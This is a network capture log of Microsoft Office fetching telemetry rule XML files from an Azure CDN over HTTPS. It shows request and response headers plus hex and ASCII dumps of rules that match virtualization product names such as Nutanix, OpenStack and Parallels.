Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49805	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:27 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 0697abc8-001e-00ad-714f-28554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181227Z-r1755647c66kcsqh9hy6eyp6kw00000003q0000000003rbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:27 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:27 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: ba54a096-301e-0020-3719-266299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181227Z-17fbfdc98bbh7l5skzh3rekksc00000006w0000000000vzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49807	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:27 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181228Z-17fbfdc98bbjwdgn5g1mr5hcxn00000003ag000000005are x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49808	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:27 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: a8de1b79-001e-0017-5ba3-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181227Z-r1755647c664nptf1txg2psens000000045000000000ench x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49809	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:28 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 7fcc546d-701e-001e-80a3-21f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181228Z-r1755647c66hbclz9tgqkaxg2w00000006wg00000000dxxx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49810	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:28 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: ecde688c-a01e-0002-2807-275074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181228Z-17fbfdc98bb2xwflv0w9dps90c000000068g000000006c7y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49811	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:28 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 962e216e-b01e-0070-5bcb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181228Z-17fbfdc98bb6vp4m3kc0kte9cs000000068g0000000018f5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49812	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181229Z-r1755647c66hxv26qums8q8fsw00000003fg00000000bt2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49813	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:29 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:29 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181229Z-r1755647c665dwkwce4e7gadz0000000065g00000000czz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:29 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49814	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:29 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:29 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181229Z-17fbfdc98bbngfjxtncsq24exs0000000770000000001e31 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:29 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49815	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:29 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:29 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181229Z-r1755647c66tsn7nz9wda692z000000003t0000000005mr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:29 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49816	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:29 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 55f0c68d-501e-008f-5d50-239054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181229Z-r1755647c66hbclz9tgqkaxg2w00000006w000000000efmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 